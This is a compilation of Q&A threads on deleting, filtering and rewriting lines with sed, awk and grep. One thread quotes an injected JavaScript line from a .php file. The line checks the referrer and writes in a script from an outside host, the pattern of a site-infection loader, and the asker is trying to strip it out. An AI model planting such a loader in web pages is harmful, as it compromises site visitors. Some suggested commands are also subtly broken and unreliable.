I have dataset as:
file.txt
de
fds
fds
a
sa
1
2
3
1
}
I would like to delete all the lines starting with characters or special characters. So my outfile is:
out.txt
1
2
3
1
I could do it manually with 'sed', but I am looking for a suitable command for this.
my code:
sed -i '/d//g' file.txt
sed -i '/f//g' file.txt
sed -i '/a//g' file.txt
sed -i '/s//g' file.txt
sed -i '/}//g' file.txt
Use grep with -E option for regex (or egrep in short):
grep -E "^[0-9].*" file.txt
just keep lines starting with a number:
$ sed -i.bak -r '/^[0-9]/!d' filename
or delete lines starting with specific characters:
$ sed -i.bak -r '/^[dfas}]/d' filename
Related
After some string conversion of heterogeneous data, there are files with the following content:
file1.txt:
mat 445
file2.txt:
mat 734.2
and so on. But there are also intruders that do not match that pattern, e. g.
filen.txt:
mat 1
FBW
With everything that starts with "mat" I would like to proceed while all other lines shall be deleted.
The following does not work (and seems rather ponderous):
for f in *.txt ; do
if [[ ${f:0:3} == "mat" ]]; then
# do some string conversion with that line, which is not important here
sed -i -e 's/^.*\(mat.*\).*$/\1/' $f
sed -i -e 's/ //g' $f
tr '.' '_' < $f
sed -i -e 's/^/\<http:\/\/uricorn.fly\/tib\_lok\_sys\#/' "$f"
sed -i -e 's/\(.*\)[0-9]/&> /' "$f"
else
# delete the line that does not match the pattern
sed -i -e '^[mat]/d' $f
fi
done
As the comment below shows the if condition is incorrect as it does not match the file's content but its name.
Desired output should then be:
file1.txt
<http://uricorn.fly/tib_lok_sys#mat445>
file2.txt
<http://uricorn.fly/tib_lok_sys#mat734_2>
filen.txt
<http://uricorn.fly/tib_lok_sys#mat1>
How can this be achieved?
Source data, with some extras added to the last 2 files:
$ for s in 1 2 n
do
fn="file${s}.txt"
echo "+++++++++++ ${fn}"
cat "${fn}"
done
+++++++++++ file1.txt
mat 445
+++++++++++ file2.txt
mat 734.2.3
+++++++++++ filen.txt
mat 1 2 3
FBW
One awk solution that implements the most recent set of question edits:
awk -i inplace ' # overwrite the source file
/^mat/ { gsub(/ /,"") # if line starts with "^mat" then remove spaces ...
gsub(/\./,"_") # and replace periods with underscores
printf "<http://uricorn.fly/tib_lok_sys#%s>\n", $0 # print the desired output
}
' file{1,2,n}.txt
NOTES:
the -i inplace option requires GNU awk 4.1.0 (or better)
remove comments to declutter code
The above generates the following:
$ for s in 1 2 n
do
fn="file${s}.txt"
echo "+++++++++++ ${fn}"
cat "${fn}"
done
+++++++++++ file1.txt
<http://uricorn.fly/tib_lok_sys#mat445>
+++++++++++ file2.txt
<http://uricorn.fly/tib_lok_sys#mat734_2_3>
+++++++++++ filen.txt
<http://uricorn.fly/tib_lok_sys#mat123>
Sed:
sed -ri '/^mat/{s/[ ]//g;s/[.]/_/g;s#^(.*)$#<http://uricorn.fly/tib_lok_sys#\1>#g}' *.txt
Search for lines starting with mat and then first remove spaces, replace . with _ and finally substitute this string with a string including the http string prepended.
The other answers are far more elegant, but none worked on my system so here is what did eventually:
for f in *.txt ; do
# Remove every line that does not contain 'mat'
sed -i '/mat/!d' $f
# Remove every character until 'mat' begins
sed -i -e 's/^.*\(mat.*\).*$/\1/' $f
# Remove the blank between 'mat' and number
sed -i -e 's/ //g' $f
# Replace the dot in subcategories with an underscore
tr '.' '_' < $f
# Add URI
sed -i -e 's/^/\<http:\/\/uricorn.fly\/tib\_lok\_sys\#/' "$f"
sed -i -e 's/\(.*\)[0-9]/&> /' "$f"
uniq $f
done
(Need in bash linux)I have a file with numbers like this
1.415949602
91.09582241
91.12042924
91.40270349
91.45625033
91.70150341
91.70174342
91.70660043
91.70966213
91.72597066
91.7287678315
91.7398645966
91.7542977976
91.7678146465
91.77196659
91.77299733
abcdefghij
91.7827827
91.78288651
91.7838959
91.7855
91.79080605
91.80103075
91.8050505
sed 's/^91\.//' file (working)
Any way possible I can do these 3 steps?
1st I try this
cat input | tr -d 91. > 1.txt (didnt work)
cat input | tr -d "91." > 1.txt (didnt work)
cat input | tr -d '91.' > 1.txt (didnt work)
then
grep -x '.\{10\}' (working)
then
grep "^[6-9]" (working)
Final 1 line solution
cat input.txt | sed 's/\91.//g' | grep -x '.\{10\}' | grep "^[6-9]" > output.txt
Your "final" solution:
cat input.txt |
sed 's/\91.//g' |
grep -x '.\{10\}' |
grep "^[6-9]" > output.txt
should avoid the useless cat, and also move the backslash in the sed script to the correct place (and I added a ^ anchor and removed the g flag since you don't expect more than one match on a line anyway);
sed 's/^91\.//' input.txt |
grep -x '.\{10\}' |
grep "^[6-9]" > output.txt
You might also be able to get rid of at least one useless grep but at this point, I would switch to Awk:
awk '{ sub(/^91\./, "") } /^[6-9].{9}$/' input.txt >output.txt
The sub() does what your sed replacement did; the final condition says to print lines which match the regex.
The same can conveniently, but less readably, be written in sed:
sed -n 's/^91\.([6-9][0-9]\{9\}\)$/\1/p' input.txt >output.txt
assuming your sed dialect supports BRE regex with repetitions like [0-9]\{9\}.
I'm trying to use a list of patterns to search in 4 large files, and remove the line that contains the regex.
I tried to specify the file path but it didn't work
sed -n '/{home/dirco/shut}/p' rimco rimco2 aval aval2
I tried to use sed option -f but it didn't work either
sed -f home/dirco/shut rimco rimco2 aval aval2
ultimately the goal will be to sed in place by removing that line if the pattern is found.
This might work for you (GNU sed):
sed 's#/#\\/#g;s#.*#/&/p#g' patternFile | sed -nf - file1 file2 file3 ...
Turn the patternFile into a sed script and run it against the data files.
N.B. The sed delimiter / is first quoted and the each line of the patternFile is turned into an address which is printed /pattern/p.
try this:
cmd=$(
echo -n "sed -i '"
while read -r line; do
echo -n "/$line/d;"
done < patternfile.txt
echo "'"
)
"$cmd" rimco rimco2 aval aval2
Here's how to do what you want efficiently and robustly by using GNU awk for inplace editing (assuming your list of regexps in regexpsfile isn't massive):
awk -i inplace 'NR==FNR{re=re sep "(" $0 ")"; sep="|"} NR!=FNR && $0~re{next} 1' regexpsfile rimco rimco2 aval aval2
I have a script in .php file which is the following :
var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}
I would like to replace in cmd line the whole line with (1) empty char. Is it possible? tried to do it with sed , but probably this is a too complex string.Tried to set the string in var , but didn't work either . Has anybody any idea?
This is actually something sed excels in. :)
sed -i '1s/.*/ /' your-file
Example:
$ cat test
one
two
three
$ sed '1s/.*/ /' < test
two
three
On my OS X i tested this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i '.txt' $strnum's/.*/ /' test.txt; done
On CentOS should work this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done
You should replace qwe with your pattern. It will replace all strings where pattern would be found to space.
To put right content in grep, it should be prepared. You should create file with required pattern and start command:
echo '"'$(cat your_file | sed -e 's|"|\\"|g')'"'
Result of this command should be replaced qwe(with quotes for sure).
You should get something like this:
for strnum in $(grep -n "var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+\"//\"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done
How can I use sed or tr or replace to replace the string I get from pipe like:
head -n 1 myfile | sed -i 's/'-'/leg/g' new.log
try this:
MY_PAT=$(head -n 1 myfile)
sed -i "s/$MY_PAT/leg/g" new.log
or
sed -i "s/$(head -n 1 myfile)/leg/g" new.log
if your myfile contains special characters, better give concrete example.
use the read shell builtin to get the first line from stdin.
#!/bin/bash
read TO_REPLACE
head -n 1 myfile | sed -i "s/$TO_REPLACE/leg/g" new.log